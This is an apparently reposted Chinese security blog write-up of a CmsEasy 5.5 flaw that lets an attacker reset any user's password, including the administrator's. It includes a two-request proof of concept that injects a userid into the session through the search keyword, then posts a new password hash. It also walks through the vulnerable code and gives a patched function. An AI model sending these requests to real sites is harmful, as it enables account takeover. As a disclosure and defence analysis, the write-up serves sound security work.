首页 > Web开发 > 详细

CMSEASY /lib/tool/front_class.php arbitrary user password reset vulnerability

时间:2015-07-02 20:58:52      阅读:436      评论:0      收藏:0      [点我收藏+]

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

攻击者通过构造特殊的HTTP包,可以直接重置任意用户(包括管理员)的密码

Relevant Link:

http://www.cmseasy.cn/patch/show_919.html


2. 漏洞触发条件

0x1: POC

1. 首先利用search_action控制userid的值
http://localhost/CmsEasy_5.5/index.php?case=form&act=search&catid=8&form=my_yingpin
POST
keyword=|userid|i:1;"1"
2. 利用edit_action修改用户密码和其它资料
http://localhost/CmsEasy_5.5/index.php?case=user&act=edit
POST
password=3e503e8736acae9b3893629da7008fc0&nickname=ali&question=ali&answer=ali&qq=00000&e_mail=000%40test.com&tel=00000&address=&intro=&submit=%E6%8F%90%E4%BA%A4

技术分享

 

3. 漏洞影响范围

4. 漏洞代码分析

/lib/default/user_act.php

function edit_action() 
{
    if(front::post(submit)) 
    {
        unset(front::$post[groupid]);
        unset(front::$post[powerlist]);
        if(!is_email(front::$post[e_mail]))
        {
            alerterror(邮箱格式不对);
        }
        foreach (front::$post as $k => $v)
        {
            if(is_array($v) && !empty($v))
            {
                front::$post[$k] = implode(,, $v);
            }
            front::check_type(front::post($k), safe);
        }
        //通过取session的userid字段更新该用户资料
        $this->_user->rec_update(front::$post,userid=.session::get(userid));
        front::flash(lang(修改资料成功!));
        front::redirect(url::create(user/index));
    }
    $this->view->data=$this->view->user;
}

edit_action函数实现修改用户资料,通过取sesson中的userid字段来更改。所以攻击路径必须能控制生成session中的userid字段,控制生成session的函数位置: /lib/default/form_act.php
我们继续回溯这个漏洞

function search_action() 
{
    if(front::get(keyword) &&!front::post(keyword))
    {
        front::$post[keyword]=front::get(keyword);
    } 
    front::check_type(front::post(keyword),safe);
    //获取POST数据中的keyword参数
    if(front::post(keyword)) 
    {
        $this->view->keyword=trim(front::post(keyword));
        if(inject_check($this->view->keyword))
        {
            exit(非法请求!);
        }
        //通过恶意检测之后,通过session保存keyword参数
        session::set(keyword,$this->view->keyword);
    }
    else 
    {
        session::set(keyword,null);
        $this->view->keyword=session::get(keyword);
    }
    if(inject_check($this->view->keyword))
    {
        exit(非法请求!);
    }
    var_dump($this->view->keyword);

    $type = $this->view->type;
    $condition = "";
    if(front::post(catid)) 
    {
        $condition .= "catid = ‘".front::post(catid)."‘ AND ";
    }
    $condition .= "(title like ‘%".$this->view->keyword."%‘";
    $sets=settings::getInstance()->getrow(array(tag=>table-fieldset));
    $arr = unserialize($sets[value]);
    if(is_array($arr[archive]) &&!empty($arr[archive])) 
    {
        foreach ($arr[archive] as $v) 
        {
            if($v[issearch] == 1) 
            {
                $condition .= " OR {$v[‘name‘]} like ‘%{$this->view->keyword}%‘";
            }
        }
    }
    $condition .= ")";
    $order = "`listorder` desc,1 DESC";
    $limit=(($this->view->page-1)*$this->pagesize).,.$this->pagesize;
    $articles=$this->archive->getrows($condition,$limit,$order);
    foreach($articles as $order=>$arc) 
    {
        $articles[$order][url]=archive::url($arc);
        $articles[$order][catname]=category::name($arc[catid]);
        $articles[$order][caturl]=category::url($arc[catid]);
        $articles[$order][adddate]= sdate($arc[adddate]);
        $articles[$order][stitle]= strip_tags($arc[title]);
    }
    $this->view->articles=$articles;
    $this->view->archives=$articles;
    $this->view->record_count=$this->archive->record_count;
}

从访问控制的角度来看,这个漏洞有两个原因导致

1. session不应该由攻击者随便修改,导致keyword被注入修改,这是一个平行权限漏洞
2. 修改密码的入口来自于"用户资料修改",UI界面上只提供了普通身份资料的修改,但是因此MVC框架对POST数据进行了遍历,取出所有字段并进行了数据表更新操作,导致发生了表单字段注入

 

5. 防御方法

将代码逻辑和UI逻辑进行统一,防止出现表单字段注入
/lib/default/user_act.php

function edit_action() 
{
    //die(var_dump(front::post));
    if(front::post(submit)) 
    {
        unset(front::$post[groupid]);
        unset(front::$post[powerlist]);
        if(!is_email(front::$post[e_mail]))
        {
        alerterror(邮箱格式不对);
        }
        /**/
        $tmp = front::$post;
        unset($tmp[password]);
        front::$post = $tmp;
        /**/
        foreach (front::$post as $k => $v)
        {
            if(is_array($v) && !empty($v))
        {
                front::$post[$k] = implode(,, $v);
            }
            front::check_type(front::post($k), safe);
        }
        //通过取session的userid字段更新该用户资料
        $this->_user->rec_update(front::$post,userid=.session::get(userid));
        front::flash(lang(修改资料成功!));
        front::redirect(url::create(user/index));
    }
    $this->view->data=$this->view->user;
}


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

CMSEASY /lib/tool/front_class.php arbitrary user password reset vulnerability

原文:http://www.cnblogs.com/LittleHann/p/4616471.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!